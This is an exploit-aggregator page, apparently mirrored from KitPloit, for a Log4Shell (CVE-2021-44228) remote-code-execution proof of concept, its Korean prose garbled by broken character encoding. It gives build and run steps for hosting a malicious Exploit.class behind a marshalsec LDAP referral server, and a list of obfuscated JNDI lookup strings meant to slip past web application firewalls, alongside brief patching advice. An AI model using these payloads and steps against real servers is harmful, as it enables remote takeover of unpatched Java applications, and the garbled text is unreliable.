## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YUUKI1967-CVE-2021-44228-APACHE-LOG4J-RCE
# CVE-2021-44228(Apache Log4j ์๊ฒฉ ์ฝ๋ ์คํ๏ผ
> ๋ชจ๋ log4j-core ๋ฒ์ >=2.0-beta9 ๋ฐ <=2.14.1
1.x ๋ฒ์ ์๋ ๋ค๋ฅธ ์ทจ์ฝ์ ์ด ์์ผ๋ฏ๋ก ์ต์ ๋ฒ์ ์ผ๋ก ์
๋ฐ์ดํธํ ๊ฒ์ ๊ถ์ฅํฉ๋๋ค.
Log4Shell(CVE-2021-44228) ๊ด๋ จ ๋ณด์ ๊ถ๊ณ / ๊ณต์ง
### ์ฌ์ฉ๋ฒ:
์ด ํ๋ก์ ํธ๋ฅผ ๋ค์ด๋ก๋ํ๊ณ , ์ต์คํ๋ก์ ์ฝ๋ blob/master/src/main/java/Exploit.java๋ฅผ ์ปดํ์ผํ ํ, ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ค์ด๋ก๋ํ ์ ์๋๋ก ์น์๋ฒ๋ฅผ ์์ํ์ธ์.
root@kitploit:~
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure python webserver is running the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
๋ค๋ฅธ ํ๋ก์ ํธ๋ฅผ ๋ค์ด๋ก๋ํ๊ณ _JNDI ์ฐธ์กฐ๋ฅผ ๋ฐํํ๋ LDAP ์๋ฒ ๊ตฌํ์ฒด_ ๋ฅผ ์คํํ์ธ์. https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
root@kitploit:~
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
ํ์ฑํ ์ฝ๋ blob/master/src/main/java/log4j.java๋ฅผ ๋น๋ํ๊ณ ์คํํ๋ฉด(์ทจ์ฝํ Java ์น ์๋ฒ์์ log4j ๊ณต๊ฒฉ์ ์๋ฎฌ๋ ์ด์
) ๊ณ์ฐ๊ธฐ ์ฑ์ด ๋ํ๋ฉ๋๋ค.
root@kitploit:~
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
ํ:
> ํ์ฌ Java ๋ฒ์ ์ด ๋น์ ์ ๊ตฌํด ์ฃผ๋ฆฌ๋ผ ๊ธฐ๋ํ์ง ๋ง์ธ์. Log4๋ฅผ ์
๋ฐ์ดํธํ์ธ์(๋๋ JNDI lookup์ ์ ๊ฑฐํ์ธ์). ํ์ฅ ๊ธฐ๋ฅ์ ๋นํ์ฑํํ์ธ์(์ด์ฐจํผ ๊ทธ๋ค์ง ์ข์ ๋ฐฉ๋ฒ์ ์๋ ๊ฒ ๊ฐ์ง๋ง).
### rc1 ์ฐํ
์๋ฅผ ๋ค์ด:
root@kitploit:~
${jndi:ldap://127.0.0.1:1389/ badClassName}
### WAF ์ฐํ
root@kitploit:~
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
> ์น ์ ํ๋ฆฌ์ผ์ด์
๋ฐฉํ๋ฒฝ(WAF)์ ์ ๋ขฐํ์ง ๋ง์ธ์.
### ์ทจ์ฝ์ ์์ธ ์ ๋ณด
Lookups๋ Log4j ๊ตฌ์ฑ์ ์์์ ์์น์ ๊ฐ์ ์ถ๊ฐํ ์ ์๋ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค.
Lookups
> finally์์ ๋์ถ(leak)์ ์ ๋ฐํ๋ ๋ฉ์๋
root@kitploit:~
LogManager.getLogger().error()
LogManager.getLogger().fatal()
### ๊ฐ๋จํ ์ ๊ฒ ๋ฐฉ๋ฒ
๋ธ๋๋ฐ์ค ํ
์คํธ๋ฅผ ํ๊ณ ์ถ๋ค๋ฉด ํจ์๋ธ ์ค์บ๋์ ๊ถ์ฅํฉ๋๋ค.
BurpLog4jScan
์ฆ๊ธฐ์ธ์!!! 
### ์๊ฐ์ ๋ฐ๋ฅธ Stargazers
